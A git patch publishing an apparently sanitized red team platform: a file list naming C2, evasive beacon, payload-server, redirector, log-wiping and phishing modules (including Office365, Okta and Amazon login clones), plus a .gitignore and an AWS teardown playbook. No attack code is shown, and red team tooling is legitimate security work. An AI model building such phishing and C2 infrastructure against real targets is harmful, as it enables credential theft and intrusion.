From 98103466d8785a0f9efc2a75e71b5a53119dc5e4 Mon Sep 17 00:00:00 2001 From: Operator Date: Tue, 23 Jun 2026 16:12:14 -0400 Subject: [PATCH] Initial public portfolio release Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact. --- .gitignore | 110 + AWS/c2.yml | 0 AWS/cleanup.yml | 480 +++ AWS/infrastructure.yml | 0 AWS/process_vpc.yml | 0 AWS/redirector.yml | 0 MIGRATION_STATUS.md | 126 + PROJECT-STATUS.md | 556 +++ README.md | 199 + RED_TEAM_OVERVIEW.md | 141 + ansible.cfg | 16 + common/files/clean-logs.sh | 98 + common/files/persistent-listener.sh | 156 + common/files/post_install_c2.sh | 302 ++ common/files/post_install_redirector.sh | 158 + common/files/randomize_ports.sh | 224 ++ common/files/rubber-ducky.txt | 4 + common/files/secure-exit.sh | 96 + common/tasks/cleanup_confirmation.yml | 25 + common/tasks/configure_mail.yml | 352 ++ common/tasks/initial-infrastructure.yml | 85 + common/tasks/install_tools.yml | 179 + common/tasks/port_randomization.yml | 92 + common/tasks/security_hardening.yml | 402 ++ common/tasks/traffic_flow_config.yml | 223 ++ .../POST_INSTALL_INSTRUCTIONS.txt.j2 | 17 + common/templates/default-site.j2 | 80 + common/templates/index.html.j2 | 122 + common/templates/infrastructure_state.j2 | 6 + common/templates/linux_loader.sh.j2 | 8 + common/templates/manifest.json.j2 | 16 + common/templates/motd-aws.j2 | 64 + common/templates/motd-linode.j2 | 48 + common/templates/motd-redirector.j2 | 16 + common/templates/motd.j2 | 48 + common/templates/proxychains.conf.j2 | 68 + common/templates/reference.txt.j2 | 17 + common/templates/resolv.conf.j2 | 18 + common/templates/secure-ssh.sh.j2 | 0 common/templates/setup-cert.sh.j2 | 22 + common/templates/shell-handler.service.j2 | 28 + common/templates/torrc.j2 | 48 + common/templates/windows_loader.ps1.j2 | 8 + deploy.py | 708 ++++ heartbeat/heartbeat_ingest.py | 167 + modules/attack-box/deploy_attack_box.py | 444 +++ modules/attack-box/files/attack_box_config.sh | 36 + modules/attack-box/files/clean-shell-aliases | 462 +++ modules/attack-box/files/emergency-wipe.sh | 87 + modules/attack-box/files/install_git_repos.sh | 122 + modules/attack-box/files/install_go_tools.sh | 104 + .../attack-box/files/install_pipx_tools.sh | 84 + .../attack-box/files/manual_testing_menu.sh | 392 ++ modules/attack-box/files/opsec-check.sh | 118 + .../attack-box/files/port_scan_automation.sh | 153 + modules/attack-box/files/recon_automation.sh | 123 + modules/attack-box/files/trash-cleanup.sh | 93 + modules/attack-box/files/trashpanda.py | 3403 +++++++++++++++++ .../attack-box/files/web_enum_automation.sh | 230 ++ .../attack-box/files/workspace_generator.py | 233 ++ .../attack-box/tasks/configure_attack_box.yml | 752 ++++ .../tasks/configure_quick_recon.yml | 263 ++ modules/attack-box/templates/torrc.j2 | 36 + modules/c2/__init__.py | 0 modules/c2/deploy_c2.py | 316 ++ modules/c2/deploy_chaos.py | 447 +++ modules/c2/files/havoc_installer.sh | 9 + modules/c2/files/havoc_mutate.sh | 9 + modules/c2/files/havoc_shell_handler.sh | 218 ++ modules/c2/files/implant_mutator.sh | 10 + modules/c2/files/post_install_c2.sh | 302 ++ modules/c2/files/secure_payload_sync.sh | 150 + .../c2/tasks/configure_advanced_evasion.yml | 134 + modules/c2/tasks/configure_c2.yml | 344 ++ .../c2/tasks/configure_integrated_tracker.yml | 150 + .../templates/generate_evasive_beacons.sh.j2 | 10 + .../templates/generate_havoc_payloads.sh.j2 | 9 + modules/c2/templates/havoc-config.yaotl.j2 | 79 + modules/c2/templates/havoc-guide.j2 | 112 + .../c2/templates/serve-havoc-payloads.sh.j2 | 135 + modules/payload-server/deploy_payload.py | 345 ++ .../files/secure_payload_sync.sh | 150 + modules/payload-server/payload_redirector.yml | 24 + modules/payload-server/payload_server.yml | 23 + .../tasks/configure_payload_redirector.yml | 89 + .../tasks/configure_payload_server.yml | 78 + modules/phishing/Plan.md | 127 + modules/phishing/cleanup_phishing.yml | 59 + modules/phishing/deploy_phishing.py | 546 +++ .../deploy_phishing_infrastructure.yml | 155 + .../phishing/gophish/files/opsec_wrapper.py | 15 + .../tasks/configure_gophish_advanced.yml | 198 + .../tasks/configure_phishing_server.yml | 296 ++ .../templates/gophish-advanced-config.j2 | 42 + .../gophish/templates/gophish-config.j2 | 23 + .../gophish/templates/gophish-opsec.yaotl.j2 | 22 + modules/phishing/gophish_server.yml | 51 + .../mta-front/tasks/configure_mta_front.yml | 151 + .../mta-front/templates/postfix-mta-front.j2 | 71 + modules/phishing/mta_front.yml | 51 + modules/phishing/phishing_redirector.yml | 46 + modules/phishing/phishing_webserver.yml | 50 + .../tasks/configure_fedramp_compliance.yml | 111 + .../templates/email-templates/file_share.j2 | 8 + .../email-templates/office365_login.j2 | 8 + .../email-templates/password_expiry.j2 | 8 + .../email-templates/security_alert.j2 | 8 + .../templates/email-templates/trellix-sub.j2 | 8 + .../phishing/templates/fedramp-compliance.j2 | 5 + .../templates/phishing_deployment_state.j2 | 69 + .../tasks/configure_phishing_webserver.yml | 85 + .../tasks/setup_phishing_security.yml | 183 + .../templates/nginx-phishing-webserver.j2 | 40 + .../AmazonClone/amazon_logo.png | Bin 0 -> 85040 bytes .../AmazonClone/box10_image.jpg | Bin 0 -> 37842 bytes .../AmazonClone/box11_image.jpg | Bin 0 -> 43959 bytes .../AmazonClone/box12_image.jpg | Bin 0 -> 46925 bytes .../page-templates/AmazonClone/box1_image.jpg | Bin 0 -> 10576 bytes .../page-templates/AmazonClone/box2_image.jpg | Bin 0 -> 25230 bytes .../page-templates/AmazonClone/box3_image.jpg | Bin 0 -> 9217 bytes .../page-templates/AmazonClone/box4_image.jpg | Bin 0 -> 11258 bytes .../page-templates/AmazonClone/box5_image.jpg | Bin 0 -> 32009 bytes .../page-templates/AmazonClone/box6_image.jpg | Bin 0 -> 35229 bytes .../page-templates/AmazonClone/box7_image.jpg | Bin 0 -> 40552 bytes .../page-templates/AmazonClone/box8_image.jpg | Bin 0 -> 22752 bytes .../page-templates/AmazonClone/box9_image.jpg | Bin 0 -> 38992 bytes .../AmazonClone/hero1_image.jpg | Bin 0 -> 124669 bytes .../page-templates/AmazonClone/index.html | 238 ++ .../page-templates/AmazonClone/style.css | 269 ++ .../page-templates/microsoft-login.html.j2 | 109 + .../page-templates/okta-login.html.j2 | 558 +++ .../page-templates/phishing-landing-page.j2 | 220 ++ modules/redirectors/deploy_redirector.py | 258 ++ .../files/post_install_redirector.sh | 158 + .../tasks/configure_redirector.yml | 468 +++ modules/redirectors/templates/capture.php.j2 | 9 + .../configure_phishing_redirector.yml | 157 + .../redirectors/templates/fake-login.html.j2 | 9 + .../redirectors/templates/motd-redirector.j2 | 23 + .../templates/nginx-payload-redirector.j2 | 82 + .../templates/nginx-phishing-redirector.j2 | 104 + modules/redirectors/templates/nginx.conf.j2 | 58 + .../templates/redirector-havoc-fragment.j2 | 105 + .../templates/redirector-index.html.j2 | 61 + .../redirector-site-with-tracker.conf.j2 | 310 ++ .../templates/redirector-site.conf.j2 | 298 ++ .../redirectors/templates/setup-cert.sh.j2 | 22 + .../templates/shell-handler.service.j2 | 28 + modules/redirectors/templates/stream.conf.j2 | 22 + .../tasks/configure_integrated_tracker.yml | 14 + modules/tasks/configure_mta_front.yml | 18 + modules/tasks/create_instance.yml | 23 + modules/tasks/security_hardening.yml | 15 + modules/tools/deploy_claude_bot.py | 368 ++ modules/tools/recon_tools.py | 872 +++++ .../templates/simple_email_tracker.py.j2 | 221 ++ modules/tracker/templates/tracker-config.j2 | 33 + .../tracker/templates/tracker-nginx.conf.j2 | 52 + modules/tracker/templates/tracker.service.j2 | 23 + modules/webrunner/__init__.py | 0 modules/webrunner/deploy_webrunner.py | 621 +++ modules/webrunner/inputs/countries-format.md | 89 + modules/webrunner/inputs/countries.yaml | 51 + .../webrunner/inputs/scan_vars.yaml.example | 31 + modules/webrunner/inputs/targets-format.md | 210 + modules/webrunner/inputs/targets.yaml | 103 + modules/webrunner/tasks/collect_results.yml | 19 + modules/webrunner/tasks/configure_node.yml | 98 + modules/webrunner/tasks/merge_results.py | 117 + modules/webrunner/tasks/node_scanner.py | 416 ++ modules/webrunner/tasks/run_scan.yml | 88 + providers/AWS/AMI-ID-Grabber.sh | 143 + providers/AWS/attack_box.yml | 171 + providers/AWS/aws_phishing.yml | 63 + providers/AWS/c2-vars-template.yaml | 45 + providers/AWS/c2.yml | 518 +++ providers/AWS/cleanup.yml | 465 +++ providers/AWS/infrastructure.yml | 115 + providers/AWS/phishing.yml | 65 + providers/AWS/process_vpc.yml | 14 + providers/AWS/redirector.yml | 379 ++ .../AWS/templates/phishing_deployment_info.j2 | 10 + providers/AWS/webrunner_provision_tasks.yml | 98 + providers/FlokiNET/c2-deploy.yaml | 634 +++ providers/FlokiNET/c2.yml | 101 + providers/FlokiNET/cleanup.yml | 75 + providers/FlokiNET/flokinet-security.yml | 167 + providers/FlokiNET/flokinet_phishing.yml | 119 + providers/FlokiNET/phishing.yml | 65 + providers/FlokiNET/provision.yml | 134 + providers/FlokiNET/redirector.yml | 97 + .../templates/phishing_deployment_info.j2 | 10 + .../FlokiNET/webrunner_provision_tasks.yml | 12 + providers/Linode/attack_box.yml | 251 ++ providers/Linode/c2.yml | 205 + providers/Linode/cleanup.yml | 117 + providers/Linode/linode_phishing.yml | 120 + providers/Linode/phishing.yml | 65 + providers/Linode/redirector.yml | 190 + .../templates/phishing_deployment_info.j2 | 10 + providers/Linode/tracker.yml | 152 + .../Linode/webrunner_provision_tasks.yml | 90 + .../webrunner_provision_tasks.yml.retired | 90 + providers/__init__.py | 1 + providers/aws_utils.py | 75 + providers/common/configure_gophish.yml | 24 + providers/common/configure_mta.yml | 23 + providers/common/configure_redirector.yml | 23 + providers/common/configure_webserver.yml | 22 + providers/flokinet_utils.py | 51 + providers/linode_utils.py | 76 + providers/provider_utils.py | 41 + providers/webrunner.yml | 344 ++ requirements.txt | 8 + smoke_test_webrunner.py | 86 + tasks/configure_redirector.yml | 0 teardown.py | 533 +++ tools/redteam/certipy-enum.py | 353 ++ tools/redteam/freebird/core/main_menu.py | 53 + tools/redteam/freebird/core/tool_manager.py | 121 + tools/redteam/ioc-u/ioc-u.py | 1881 +++++++++ tools/redteam/ops-logger.sh | 1737 +++++++++ tools/umbra/um-crack.py | 991 +++++ tools/umbra/um-vault.py | 920 +++++ tools/umbra/um_ops.py | 495 +++ utils/__init__.py | 1 + utils/aws_utils.py | 88 + utils/chunk_utils.py | 39 + utils/cidr_resolver.py | 114 + utils/cleanup_engine.py | 318 ++ utils/common.py | 224 ++ utils/deployment_engine.py | 369 ++ utils/flokinet_utils.py | 51 + utils/linode_utils.py | 80 + utils/name_generator.py | 82 + utils/naming_utils.py | 246 ++ utils/provider_rates.py | 208 + utils/provider_utils.py | 41 + utils/ssh_utils.py | 208 + 239 files changed, 40012 insertions(+) create mode 100644 .gitignore create mode 100644 AWS/c2.yml create mode 100644 AWS/cleanup.yml create mode 100644 AWS/infrastructure.yml create mode 100644 AWS/process_vpc.yml create mode 100644 AWS/redirector.yml create mode 100644 MIGRATION_STATUS.md create mode 100644 PROJECT-STATUS.md create mode 100644 README.md create mode 100644 RED_TEAM_OVERVIEW.md create mode 100644 ansible.cfg create mode 100644 common/files/clean-logs.sh create mode 100644 common/files/persistent-listener.sh create mode 100644 common/files/post_install_c2.sh create mode 100644 common/files/post_install_redirector.sh create mode 100644 common/files/randomize_ports.sh create mode 100644 common/files/rubber-ducky.txt create mode 100644 common/files/secure-exit.sh create mode 100644 common/tasks/cleanup_confirmation.yml create mode 100644 common/tasks/configure_mail.yml create mode 100644 common/tasks/initial-infrastructure.yml create mode 100644 common/tasks/install_tools.yml create mode 100644 common/tasks/port_randomization.yml create mode 100644 common/tasks/security_hardening.yml create mode 100644 common/tasks/traffic_flow_config.yml create mode 100644 common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 create mode 100644 common/templates/default-site.j2 create mode 100644 common/templates/index.html.j2 create mode 100644 common/templates/infrastructure_state.j2 create mode 100644 common/templates/linux_loader.sh.j2 create mode 100644 common/templates/manifest.json.j2 create mode 100644 common/templates/motd-aws.j2 create mode 100644 common/templates/motd-linode.j2 create mode 100644 common/templates/motd-redirector.j2 create mode 100644 common/templates/motd.j2 create mode 100644 common/templates/proxychains.conf.j2 create mode 100644 common/templates/reference.txt.j2 create mode 100644 common/templates/resolv.conf.j2 create mode 100644 common/templates/secure-ssh.sh.j2 create mode 100644 common/templates/setup-cert.sh.j2 create mode 100644 common/templates/shell-handler.service.j2 create mode 100644 common/templates/torrc.j2 create mode 100644 common/templates/windows_loader.ps1.j2 create mode 100755 deploy.py create mode 100644 heartbeat/heartbeat_ingest.py create mode 100644 modules/attack-box/deploy_attack_box.py create mode 100755 modules/attack-box/files/attack_box_config.sh create mode 100644 modules/attack-box/files/clean-shell-aliases create mode 100755 modules/attack-box/files/emergency-wipe.sh create mode 100755 modules/attack-box/files/install_git_repos.sh create mode 100755 modules/attack-box/files/install_go_tools.sh create mode 100755 modules/attack-box/files/install_pipx_tools.sh create mode 100755 modules/attack-box/files/manual_testing_menu.sh create mode 100755 modules/attack-box/files/opsec-check.sh create mode 100755 modules/attack-box/files/port_scan_automation.sh create mode 100755 modules/attack-box/files/recon_automation.sh create mode 100755 modules/attack-box/files/trash-cleanup.sh create mode 100644 modules/attack-box/files/trashpanda.py create mode 100755 modules/attack-box/files/web_enum_automation.sh create mode 100755 modules/attack-box/files/workspace_generator.py create mode 100644 modules/attack-box/tasks/configure_attack_box.yml create mode 100644 modules/attack-box/tasks/configure_quick_recon.yml create mode 100644 modules/attack-box/templates/torrc.j2 create mode 100644 modules/c2/__init__.py create mode 100644 modules/c2/deploy_c2.py create mode 100644 modules/c2/deploy_chaos.py create mode 100644 modules/c2/files/havoc_installer.sh create mode 100644 modules/c2/files/havoc_mutate.sh create mode 100644 modules/c2/files/havoc_shell_handler.sh create mode 100644 modules/c2/files/implant_mutator.sh create mode 100644 modules/c2/files/post_install_c2.sh create mode 100644 modules/c2/files/secure_payload_sync.sh create mode 100644 modules/c2/tasks/configure_advanced_evasion.yml create mode 100644 modules/c2/tasks/configure_c2.yml create mode 100644 modules/c2/tasks/configure_integrated_tracker.yml create mode 100644 modules/c2/templates/generate_evasive_beacons.sh.j2 create mode 100644 modules/c2/templates/generate_havoc_payloads.sh.j2 create mode 100644 modules/c2/templates/havoc-config.yaotl.j2 create mode 100644 modules/c2/templates/havoc-guide.j2 create mode 100644 modules/c2/templates/serve-havoc-payloads.sh.j2 create mode 100644 modules/payload-server/deploy_payload.py create mode 100644 modules/payload-server/files/secure_payload_sync.sh create mode 100644 modules/payload-server/payload_redirector.yml create mode 100644 modules/payload-server/payload_server.yml create mode 100644 modules/payload-server/tasks/configure_payload_redirector.yml create mode 100644 modules/payload-server/tasks/configure_payload_server.yml create mode 100644 modules/phishing/Plan.md create mode 100644 modules/phishing/cleanup_phishing.yml create mode 100644 modules/phishing/deploy_phishing.py create mode 100644 modules/phishing/deploy_phishing_infrastructure.yml create mode 100644 modules/phishing/gophish/files/opsec_wrapper.py create mode 100644 modules/phishing/gophish/tasks/configure_gophish_advanced.yml create mode 100644 modules/phishing/gophish/tasks/configure_phishing_server.yml create mode 100644 modules/phishing/gophish/templates/gophish-advanced-config.j2 create mode 100644 modules/phishing/gophish/templates/gophish-config.j2 create mode 100644 modules/phishing/gophish/templates/gophish-opsec.yaotl.j2 create mode 100644 modules/phishing/gophish_server.yml create mode 100644 modules/phishing/mta-front/tasks/configure_mta_front.yml create mode 100644 modules/phishing/mta-front/templates/postfix-mta-front.j2 create mode 100644 modules/phishing/mta_front.yml create mode 100644 modules/phishing/phishing_redirector.yml create mode 100644 modules/phishing/phishing_webserver.yml create mode 100644 modules/phishing/tasks/configure_fedramp_compliance.yml create mode 100644 modules/phishing/templates/email-templates/file_share.j2 create mode 100644 modules/phishing/templates/email-templates/office365_login.j2 create mode 100644 modules/phishing/templates/email-templates/password_expiry.j2 create mode 100644 modules/phishing/templates/email-templates/security_alert.j2 create mode 100644 modules/phishing/templates/email-templates/trellix-sub.j2 create mode 100644 modules/phishing/templates/fedramp-compliance.j2 create mode 100644 modules/phishing/templates/phishing_deployment_state.j2 create mode 100644 modules/phishing/webserver/tasks/configure_phishing_webserver.yml create mode 100644 modules/phishing/webserver/tasks/setup_phishing_security.yml create mode 100644 modules/phishing/webserver/templates/nginx-phishing-webserver.j2 create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/amazon_logo.png create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box10_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box11_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box12_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box1_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box2_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box3_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box4_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box5_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box6_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box7_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box8_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/box9_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/hero1_image.jpg create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/index.html create mode 100644 modules/phishing/webserver/templates/page-templates/AmazonClone/style.css create mode 100644 modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2 create mode 100644 modules/phishing/webserver/templates/page-templates/okta-login.html.j2 create mode 100644 modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2 create mode 100644 modules/redirectors/deploy_redirector.py create mode 100644 modules/redirectors/files/post_install_redirector.sh create mode 100644 modules/redirectors/tasks/configure_redirector.yml create mode 100644 modules/redirectors/templates/capture.php.j2 create mode 100644 modules/redirectors/templates/configure_phishing_redirector.yml create mode 100644 modules/redirectors/templates/fake-login.html.j2 create mode 100644 modules/redirectors/templates/motd-redirector.j2 create mode 100644 modules/redirectors/templates/nginx-payload-redirector.j2 create mode 100644 modules/redirectors/templates/nginx-phishing-redirector.j2 create mode 100644 modules/redirectors/templates/nginx.conf.j2 create mode 100644 modules/redirectors/templates/redirector-havoc-fragment.j2 create mode 100644 modules/redirectors/templates/redirector-index.html.j2 create mode 100644 modules/redirectors/templates/redirector-site-with-tracker.conf.j2 create mode 100644 modules/redirectors/templates/redirector-site.conf.j2 create mode 100644 modules/redirectors/templates/setup-cert.sh.j2 create mode 100644 modules/redirectors/templates/shell-handler.service.j2 create mode 100644 modules/redirectors/templates/stream.conf.j2 create mode 100644 modules/tasks/configure_integrated_tracker.yml create mode 100644 modules/tasks/configure_mta_front.yml create mode 100644 modules/tasks/create_instance.yml create mode 100644 modules/tasks/security_hardening.yml create mode 100644 modules/tools/deploy_claude_bot.py create mode 100644 modules/tools/recon_tools.py create mode 100644 modules/tracker/templates/simple_email_tracker.py.j2 create mode 100644 modules/tracker/templates/tracker-config.j2 create mode 100644 modules/tracker/templates/tracker-nginx.conf.j2 create mode 100644 modules/tracker/templates/tracker.service.j2 create mode 100644 modules/webrunner/__init__.py create mode 100644 modules/webrunner/deploy_webrunner.py create mode 100644 modules/webrunner/inputs/countries-format.md create mode 100644 modules/webrunner/inputs/countries.yaml create mode 100644 modules/webrunner/inputs/scan_vars.yaml.example create mode 100644 modules/webrunner/inputs/targets-format.md create mode 100644 modules/webrunner/inputs/targets.yaml create mode 100644 modules/webrunner/tasks/collect_results.yml create mode 100644 modules/webrunner/tasks/configure_node.yml create mode 100644 modules/webrunner/tasks/merge_results.py create mode 100644 modules/webrunner/tasks/node_scanner.py create mode 100644 modules/webrunner/tasks/run_scan.yml create mode 100755 providers/AWS/AMI-ID-Grabber.sh create mode 100644 providers/AWS/attack_box.yml create mode 100644 providers/AWS/aws_phishing.yml create mode 100644 providers/AWS/c2-vars-template.yaml create mode 100644 providers/AWS/c2.yml create mode 100644 providers/AWS/cleanup.yml create mode 100644 providers/AWS/infrastructure.yml create mode 100644 providers/AWS/phishing.yml create mode 100644 providers/AWS/process_vpc.yml create mode 100644 providers/AWS/redirector.yml create mode 100644 providers/AWS/templates/phishing_deployment_info.j2 create mode 100644 providers/AWS/webrunner_provision_tasks.yml create mode 100644 providers/FlokiNET/c2-deploy.yaml create mode 100644 providers/FlokiNET/c2.yml create mode 100644 providers/FlokiNET/cleanup.yml create mode 100644 providers/FlokiNET/flokinet-security.yml create mode 100644 providers/FlokiNET/flokinet_phishing.yml create mode 100644 providers/FlokiNET/phishing.yml create mode 100644 providers/FlokiNET/provision.yml create mode 100644 providers/FlokiNET/redirector.yml create mode 100644 providers/FlokiNET/templates/phishing_deployment_info.j2 create mode 100644 providers/FlokiNET/webrunner_provision_tasks.yml create mode 100644 providers/Linode/attack_box.yml create mode 100755 providers/Linode/c2.yml create mode 100755 providers/Linode/cleanup.yml create mode 100644 providers/Linode/linode_phishing.yml create mode 100644 providers/Linode/phishing.yml create mode 100755 providers/Linode/redirector.yml create mode 100644 providers/Linode/templates/phishing_deployment_info.j2 create mode 100755 providers/Linode/tracker.yml create mode 100644 providers/Linode/webrunner_provision_tasks.yml create mode 100644 providers/Linode/webrunner_provision_tasks.yml.retired create mode 100644 providers/__init__.py create mode 100644 providers/aws_utils.py create mode 100644 providers/common/configure_gophish.yml create mode 100644 providers/common/configure_mta.yml create mode 100644 providers/common/configure_redirector.yml create mode 100644 providers/common/configure_webserver.yml create mode 100644 providers/flokinet_utils.py create mode 100644 providers/linode_utils.py create mode 100644 providers/provider_utils.py create mode 100644 providers/webrunner.yml create mode 100644 requirements.txt create mode 100644 smoke_test_webrunner.py create mode 100644 tasks/configure_redirector.yml create mode 100755 teardown.py create mode 100644 tools/redteam/certipy-enum.py create mode 100644 tools/redteam/freebird/core/main_menu.py create mode 100644 tools/redteam/freebird/core/tool_manager.py create mode 100644 tools/redteam/ioc-u/ioc-u.py create mode 100644 tools/redteam/ops-logger.sh create mode 100755 tools/umbra/um-crack.py create mode 100755 tools/umbra/um-vault.py create mode 100644 tools/umbra/um_ops.py create mode 100644 utils/__init__.py create mode 100644 utils/aws_utils.py create mode 100644 utils/chunk_utils.py create mode 100644 utils/cidr_resolver.py create mode 100644 utils/cleanup_engine.py create mode 100644 utils/common.py create mode 100644 utils/deployment_engine.py create mode 100644 utils/flokinet_utils.py create mode 100644 utils/linode_utils.py create mode 100644 utils/name_generator.py create mode 100644 utils/naming_utils.py create mode 100644 utils/provider_rates.py create mode 100644 utils/provider_utils.py create mode 100644 utils/ssh_utils.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2f88c98 --- /dev/null +++ b/.gitignore @@ -0,0 +1,110 @@ +vars.yaml +venv +deployment_*.log +deployment_info_*.txt +node_chunks_*.json +scanner_ips_*.txt +config.yml +logs/ +domainhunter/ +infrastructure_state_*.json +# OS-specific files +.DS_Store +Thumbs.db +desktop.ini + +# VS Code settings +.vscode/ +.history/ + +# Node.js +node_modules/ +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +package-lock.json +yarn.lock + +# Python +__pycache__/ +*.py[cod] +*.pyo +*.pyd +*.egg +*.egg-info/ +dist/ +build/ +.env +.venv/ +venv/ +Pipfile.lock + +# C# / .NET +bin/ +obj/ +*.user +*.suo +*.userosscache +*.sln.docstates +*.vsp +*.pidb +*.mdb +*.cache +*.pdb + +# Java +*.class +*.jar +*.war +*.ear +target/ + +# Logs and temp files +*.log +*.tmp +*.bak +*.swp +*.swo +*.swn +*.orig +*.rej + +# Secrets +.env.local +.env.*.local +.envrc +secrets.* +credentials.json + +# GitHub Copilot +*.copilot* + +# Test output +coverage/ +.nyc_output/ +test-output/ + +# IDEs and editors +.idea/ +*.iml +*.code-workspace + +# Others +*.sqlite3 +*.db +*.tar.gz +*.zip +*.7z +*.tgz + +# Ignore by file type (optional) +*.exe +*.dll +*.msi +*.apk +*.ipa + +# Ignore personal scripts +scripts/dev/* +.claude/ diff --git a/AWS/c2.yml b/AWS/c2.yml new file mode 100644 index 0000000..e69de29 diff --git a/AWS/cleanup.yml b/AWS/cleanup.yml new file mode 100644 index 0000000..8b6a485 --- /dev/null +++ b/AWS/cleanup.yml @@ -0,0 +1,480 @@ +--- +# AWS Cleanup Playbook - Comprehensive version with robust VPC removal +- name: Clean up AWS resources + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + confirm_cleanup: "{{ confirm_cleanup | default(true) }}" + deployment_id: "{{ deployment_id | default('') }}" + redirector_name: "{{ redirector_name | default('r-' + deployment_id) }}" + c2_name: "{{ c2_name | default('s-' + deployment_id) }}" + tracker_name: "{{ tracker_name | default('t-' + deployment_id) }}" + cleanup_summary: {} + + tasks: + # Confirmation step (if enabled) + - name: Confirm cleanup + pause: + prompt: "Are you sure you want to delete all AWS resources for deployment ID {{ deployment_id }}? This action cannot be undone. Type 'yes' to confirm" + register: cleanup_confirmation + when: confirm_cleanup | bool + + - name: Check confirmation + assert: + that: + - cleanup_confirmation.user_input | default('yes') == 'yes' + fail_msg: "Cleanup cancelled by user" + when: confirm_cleanup | bool + + # STEP 1: Find all instances by deployment ID + - name: Find all EC2 instances for this deployment + amazon.aws.ec2_instance_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_instances + + - name: Set fact for instances found + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({'instances_found': deployment_instances.instances | length}) }}" + + # STEP 2: Terminate all instances with proper tagging + - name: Terminate all instances for this deployment + amazon.aws.ec2_instance: + instance_ids: "{{ item.instance_id }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ deployment_instances.instances }}" + register: terminated_instances + when: deployment_instances.instances | length > 0 + + - name: Wait for instances to be terminated + pause: + seconds: 30 + when: deployment_instances.instances | length > 0 + + # STEP 3: Find all security groups by deployment ID + - name: Find all security groups for this deployment + amazon.aws.ec2_security_group_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_sgs + + # Also find SGs by name pattern + - name: Find security groups by name pattern + amazon.aws.ec2_security_group_info: + region: "{{ aws_region }}" + register: all_sgs + + - name: Filter SGs by name pattern + set_fact: + named_sgs: "{{ all_sgs.security_groups | selectattr('group_name', 'search', redirector_name + '-sg|' + c2_name + '-sg') | list }}" + + - name: Combine all security groups to delete + set_fact: + all_sgs_to_delete: "{{ deployment_sgs.security_groups + named_sgs }}" + cleanup_summary: "{{ cleanup_summary | combine({'security_groups_found': (deployment_sgs.security_groups + named_sgs) | length}) }}" + + # STEP 4: Delete all security groups + - name: Delete security groups + amazon.aws.ec2_security_group: + group_id: "{{ item.group_id }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ all_sgs_to_delete }}" + when: all_sgs_to_delete | length > 0 + ignore_errors: yes + register: deleted_sgs + + # STEP 5: Find and delete all ENIs + - name: Find network interfaces by tag + amazon.aws.ec2_eni_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_enis + + - name: Delete ENIs + amazon.aws.ec2_eni: + region: "{{ aws_region }}" + eni_id: "{{ item.id }}" + state: absent + force_detach: true + loop: "{{ deployment_enis.network_interfaces }}" + ignore_errors: yes + register: deleted_enis + when: deployment_enis.network_interfaces | length > 0 + + - name: Set ENIs count in summary + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({'enis_found': deployment_enis.network_interfaces | length}) }}" + + # STEP 6: Find all VPCs by deployment ID + - name: Find all VPCs for this deployment + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: deployment_vpcs + + # STEP 7: Find VPCs by name pattern as fallback + - name: Find all VPCs by name pattern + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + register: all_vpcs + + - name: Filter VPCs by name pattern + set_fact: + named_vpcs: "{{ all_vpcs.vpcs | selectattr('tags', 'defined') | selectattr('tags.Name', 'defined') | selectattr('tags.Name', 'search', redirector_name + '-vpc|' + c2_name + '-vpc') | list }}" + + - name: Combine all VPCs to delete + set_fact: + all_vpcs_to_delete: "{{ deployment_vpcs.vpcs + named_vpcs | unique(attribute='vpc_id') }}" + cleanup_summary: "{{ cleanup_summary | combine({'vpcs_found': (deployment_vpcs.vpcs + named_vpcs | unique(attribute='vpc_id')) | length}) }}" + + # STEP 8: Find and delete NAT Gateways for each VPC separately + - name: Find NAT gateways in each VPC + amazon.aws.ec2_vpc_nat_gateway_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + register: natgw_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Delete NAT gateways + amazon.aws.ec2_vpc_nat_gateway: + region: "{{ aws_region }}" + nat_gateway_id: "{{ item.1.nat_gateway_id }}" + state: absent + release_eip: true + loop: "{{ natgw_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('nat_gateways', 'defined') | subelements('nat_gateways') }}" + ignore_errors: yes + register: deleted_natgws + when: natgw_results.results is defined + + - name: Wait after NAT deletion + pause: + seconds: 15 + when: deleted_natgws.results is defined and deleted_natgws.results | length > 0 + + # STEP 9: Find and delete Internet 